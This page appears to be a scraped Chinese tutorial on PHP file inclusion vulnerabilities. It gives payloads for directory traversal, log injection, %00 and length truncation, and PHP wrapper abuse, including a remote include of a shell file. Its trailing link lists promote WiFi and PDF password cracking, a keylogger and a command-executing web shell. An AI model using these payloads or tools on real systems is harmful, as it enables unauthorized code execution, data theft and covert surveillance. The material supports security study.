目录

4.9. 文件包含

4.9.1. 基础

4.9.2. 触发Sink

4.9.3. 绕过技巧

4.9.3.1. url编码绕过

4.9.3.2. 特殊字符绕过

4.9.3.3. %00截断

4.9.3.4. 长度截断

4.9.3.5. 伪协议绕过

4.9.3.6. 协议绕过


4.9. 文件包含

4.9.1. 基础

常见的文件包含漏洞的形式为 <?php include("inc/" . $_GET['file']); ?>

考虑常用的几种包含方式为

  • 同目录包含 file=.htaccess
  • 目录遍历 ?file=../../../../../../../../../var/lib/locate.db
  • 日志注入 ?file=../../../../../../../../../var/log/apache/error.log
  • 利用 /proc/self/environ

其中日志可以使用SSH日志或者Web日志等多种日志来源测试

4.9.2. 触发Sink

PHPinclude在包含过程中出错会报错,不影响执行后续语句include_once仅包含一次require在包含过程中出错,就会直接退出,不执行后续语句require_once

4.9.3. 绕过技巧

常见的应用在文件包含之前,可能会调用函数对其进行判断,一般有如下几种绕过方式

4.9.3.1. url编码绕过

如果WAF中是字符串匹配,可以使用url多次编码的方式可以绕过

4.9.3.2. 特殊字符绕过

  • 某些情况下,读文件支持使用Shell通配符,如 ? * 等
    url中 使用 ? # 可能会影响include包含的结果
    某些情况下,unicode编码不同但是字形相近的字符有同一个效果

4.9.3.3. %00截断

几乎是最常用的方法,条件是 magic_quotes_gpc 关闭,而且php版本小于5.3.4。

4.9.3.4. 长度截断

Windows上的文件名长度和文件路径有关。具体关系为:从根目录计算,文件路径长度最长为259个bytes。

msdn定义 #define MAX_PATH 260,其中第260个字符为字符串结尾的 \0 ,而linux可以用getconf来判断文件名长度限制和文件路径长度限制。

获取最长文件路径长度:getconf PATH_MAX /root 得到4096 获取最长文件名:getconf NAME_MAX /root 得到255

那么在长度有限的时候,././././ (n个) 的形式就可以通过这个把路径爆掉

在php代码包含中,这种绕过方式要求php版本 < php 5.2.8

4.9.3.5. 伪协议绕过

远程包含: 要求 allow_url_fopen=On 且 allow_url_include=On ,
payload为 ?file=[http|https|ftp]://websec.wordpress.com/shell.txt 的形式PHP input: 把payload放在POST参数中作为包含的文件,
要求 allow_url_include=On ,payload为 ?file=php://input 的形式Base64: 使用Base64伪协议读取文件,
payload为 ?file=php://filter/convert.base64-encode/resource=index.php 的形式data: 使用data伪协议读取文件,
payload为 ?file=data://text/plain;base64,SSBsb3ZlIFBIUAo= 的形式,
要求 allow_url_include=On

4.9.3.6. 协议绕过

allow_url_fopen 和 allow_url_include 主要是针对 http ftp 两种协议起作用,因此可以使用SMB、WebDav协议等方式来绕过限制。

推荐阅读

【python实战】前女友婚礼,python破解婚礼现场的WIFI,把名称改成了

【python实战】前女友发来加密的 “520快乐.pdf“,我用python破解开之后,却发现

【python实战】python你TM太皮了——区区30行代码就能记录键盘的一举一动

python实战】女神相册密码忘记了,我只用Python写了20行代码~~~

pygame系列文章

一起来学pygame吧 游戏开发30例(二)——塔防游戏

一起来学pygame吧 游戏开发30例(四)——俄罗斯方块小游戏

一起来学pygame吧 游戏开发30例(五)——消消乐 小游戏

pygame游戏26个案例及源码【共400M】_pygame游戏作品,pygame游戏源码-Python文档类资源-CSDN下载

【前女友发来加密的“520快乐.pdf“,我用python破解开】完整脚本_python怎么破解pdf密码-Python文档类资源-CSDN下载

女友晚安之后依然在线:python男友用20行代码写了个小工具_啪啪自拍-Python文档类资源-CSDN下载

python定位照片精确位置完整代码脚本-Python文档类资源-CSDN下载

渗透测试相关工具

brutecrack工具[WIFIPR中文版]及wpa/wpa2字典-其它文档类资源-CSDN下载

【kali常用工具】inssider信号测试软件_kali常用工具_inSSIDer-网管软件文档类资源-CSDN下载
【kali常用工具】MAC地址修改工具保护终端不暴露-Linux文档类资源-CSDN下载
脚本管理工具php和jsp页面接收命令参数在服务器端执行-网络安全文档类资源-CSDN下载  
上网行为工具_常用密码破译工具讲解与实战-网络安全文档类资源-CSDN下载
抓包工具CharlesWindows64位免费版_常用密码破译工具讲解与实战-网络监控文档类资源-CSDN下载

【渗透测试】—如何利用文件包含的方式进行攻击相关推荐

  1. Kali 渗透测试:利用HTA文件进行渗透攻击

    Kali 渗透测试:利用HTA文件进行渗透攻击 由于浏览器安全技术发展很快,很多时候面对一些安全的浏览器(就是暂时没有发现漏洞的浏览器), 这时通常需要选择一种不需要依赖漏洞的手段,这种手段看起来是个 ...

  2. 渗透测试漏洞利用入门总结

    渗透测试漏洞利用入门总结 漏洞利用 利用medusa获得远程服务的访问权限. 这些服务包括ssh.telnet.ftp.pc anywhere .vnc 对这些服务进行爆破的工具分别是medusa 和 ...

  3. Kali渗透测试:使用Metasploit对Web应用的攻击

    Kali渗透测试:使用Metasploit对Web应用的攻击 Web应用程序的漏洞数量众多,这里我们以其中一个命令注入漏洞为例复现一下.这种漏洞源于Web应用程序没有对用户输入的内容进行准确的验证,从 ...

  4. 【愚公系列】2023年05月 网络安全高级班 071.WEB渗透与安全(文件包含漏洞原理利用防御)

    文章目录 前言 一.文件包含漏洞原理利用防御 1.原理 1.1 简介 1.2 分类 1.3 代码 1.3.1 shell语句 1.3.2 包含语句 2.渗透 2.1 低安全级别 2.1.1 本地文件包 ...

  5. 渗透测试中的文件传输技巧

    目录 搭建 HTTP server Python PHP 5.4+ Ruby Ruby 1.9.2+ Perl busybox httpd Download files from HTTP serve ...

  6. 渗透测试另类利用社会工程学

    社会工程学和前端安全.古典的社会工程学攻击案例:社会工程师利用人们的好奇心,或者贪图便宜的心理,让某人捡起不小心丢下的USB,在好奇心的驱使下,该人将该USB插入自己的计算机,打开带后门的PDF文件, ...

  7. php伪协议漏洞_php伪协议利用文件包含漏洞

    php支持多种封装协议,这些协议常被CTF出题中与文件包含漏洞结合,这里做个小总结.实验用的是DVWA平台,low级别,phpstudy中的设置为5.4.45版本 设置allow_url_fopen和 ...

  8. BTS测试实验室--远程文件包含和服务器端注入攻略

    远程文件包含 构造payload:http://127.0.0.1/btslab/vulnerability/rfi/RFI.php?file=http://192.168.1.129/test2/d ...

  9. Kali Linux 无线渗透测试入门指南 第七章 高级 WLAN 攻击

    第七章 高级 WLAN 攻击 作者:Vivek Ramachandran, Cameron Buchanan 译者:飞龙 协议:CC BY-NC-SA 4.0 简介 知己知彼,百战不殆. 孙子,< ...

最新文章

  1. 如何在O(1)的时间里删除单链表的结点
  2. mutex的加锁与解锁问题
  3. python queue 调试_python:如何创建用于调试的持久内存结构
  4. Java程序员如何在编码中减少bug存在
  5. SpringMVC自动配置
  6. WPF TextBox 正则验证 大于等于0 小于等于1 的两位小数
  7. 继淘宝特价版之后 闲鱼已向微信提交小程序申请
  8. java基础练习 2
  9. android alsa,android下alsa驱动alsa_arecord录音问题
  10. CString的成员函数用法大全
  11. 解决eclipse为什么不能查看源码
  12. 学python前端需要哪些基础知识_简析前端学习python3的基础
  13. 使用iftop监控网卡实时流量
  14. ASP.Net Core Web Api在Windows服务器上部署
  15. c语言提取质心坐标,求图像质心的C语言实现
  16. 如何让音乐软件的歌词在touch bar上面显示?
  17. win10无法访问linux共享服务器,Win10无法访问NAS或Linux网络共享的处理方法
  18. 制作一个私有的docker habor仓库
  19. 未连接到互联网 代理服务器出现问题,或者地址有误。
  20. 上传照片显示服务器繁忙怎么回事,解决WordPress上传图片“图像后期处理失败,可能是服务器忙或没有足够的资源”问题...

热门文章

  1. 为啥arm架构比x86 x64省电?
  2. 将pandas中Dataframe数据转换为二维数组array
  3. pppoe拨号中的server name和service name
  4. 了解SQL Server数据库静态数据及其如何适合数据库生命周期管理
  5. ssis导入xml_使用SSIS包将XML文档导入SQL Server表
  6. 在SQL Server中比较VARCHAR(max)与VARCHAR(n)数据类型
  7. mysql屏蔽_MySQL中的企业数据屏蔽
  8. mongodb的安装与简单操作
  9. 【python】将excel转成json
  10. mysql function